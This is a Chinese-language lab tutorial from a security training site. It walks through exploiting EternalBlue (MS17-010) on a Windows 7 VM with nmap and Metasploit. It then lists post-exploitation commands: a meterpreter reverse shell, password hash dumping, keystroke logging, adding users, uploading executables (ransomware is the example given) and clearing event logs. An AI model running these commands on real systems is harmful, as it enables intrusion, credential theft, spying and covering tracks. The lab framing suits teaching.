关灯
0

Metaploit-永恒之蓝漏洞利用

摘要: 目录Metaploit介绍实验环境漏洞利用过程Metaploit介绍  本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1 ...

目录
  • Metaploit介绍
  • 实验环境
  • 漏洞利用过程

Metaploit介绍  本次测试主要是利用永恒之蓝漏洞对windows7进行控制利用,掌握Metaploit工具的使用,知道永恒之蓝的漏洞利用原理。永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
  进入metaploit命令:msfconsole,可以看出下面有总共有六个模块,辅助模块(auxiliary)、渗透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模块。

实验环境
攻击机192.168.202.132  (Kali安装Metaploit工具)
靶机192.168.202.131 windows7x64未打永恒之蓝补丁且关闭防火墙)

实战漏洞利用
1.进入metaploit工具使用命令:msfconsole,可以看出下面有总共有六个模块,不同的模块功能使用的侧重点一样,在进行不同的探测之前使用不同的模块。
辅助模块(auxiliary)、渗透攻击模块(exploits)、后渗透攻击模块(post)、攻击载荷模块(payloads)、空指令模块(nops)、编码器模块(encoders),其中msf为总模块,其他均为分支模块。Metaploit的版本号为metasploit v4.17.3-dev
>>>msfconsole



2.在进行攻击利用之前,首先确实目标是否开放445端口,该漏洞Ms17-010是否存在,先做好简单的信息收集更能成功利用目标主机。
nmap探测主机信息
>>>nmap   -sV   192.168.202.131

====>>>445端口开放,目的主机为windows7系统,推测存在ms17-010漏洞

利用msf的auxiliary模块进行漏洞验证
>>>search ms17-010

搜索有关漏洞的模块,结果看到很多有关该漏洞的不同模块,可以使用auxiliary/scanner/smb/smb_ms17_010 进行验证
>>>use  auxiliary/scanner/smb/smb_ms17_010
>>>set  rhost  192.168.202.131
>>>set  rport   445

配置好之后,使用>>>run 探测一下查看结果存在该漏洞


3.验证存在漏洞之后,就可以利用永恒之蓝漏洞,使用其中的渗透攻击(exploit)模块,对其进行渗透攻击
a.设置攻击目标、端口、本机
>>>use  exploit/windows/smb/ms17_010_eternalblue


b.使用exp进行攻击时,要使用payload作为子弹进行攻击
>>>set  payload   windows/x64/meterpreter/reverse_tcp

c.查看具体配置是否完整
>>>show options

d.进行攻击
>>>run


soga  进去了,看样子差不多可以嘿嘿嘿了*-*

4.进入shell,获取命令行,可以看到直接获得system权限
meterpreter是metasploit框架中的一个扩展模块,作为溢出成功后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpreter shell的链接。
a.从上面看出已经攻入成功,可以输入:sysinfo查看系统信息
meterpreter > sysinfo

b.反弹shell
meterpreter >shell


meterpreter shell作为渗透模块有很多有用的功能,比如:添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS(基于主机的入侵检测系统) 很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

5.shell利用
(1).新建用户、获得用户密码
a.密码为进入hash加密值,可以利用在线解密进行破解
meterpreter > hashdump

可以看到用户名,密码,hash解码就可以拿到密码了
b.进入shell新建用户


c. 捕捉屏幕:screenhot

到这个路径下查看,可以看到返回的图片


d.获取按键信息
开始获取:keyscan_start
下载内容:keyscan_dump

没有获取到,应该需要在捕获的同时需要进行键盘操作

e.上传文件
“upload”命令为上传文件到靶机下(例如黑客上传一个勒索病毒WannaCry),测试上传了一个hack.exe文件到,可以直接执行



f. 清除事件日志
执行“clearev”命令,将清除事件日志。

鲜花

握手

雷人

路过

鸡蛋

说点什么...

已有0条评论

最新评论...

本文作者
2019-11-27 17:15
  • 0
    粉丝
  • 10
    阅读
  • 0
    回复
相关分类
资讯幻灯片
热门评论
热门专题
排行榜

关注我们:微信订阅号

官方微信

APP下载

全国服务热线:

4000-008-016

公司地址:上海市嘉定区银翔路655号B区1068室

运营中心:成都市锦江区东华正街42号广电仕百达国际大厦25楼

邮编:610066 Email:2020491765#qq.com

Copyright   ©2015-2019  元空间-黑客教学|网络安全|白帽子成长课程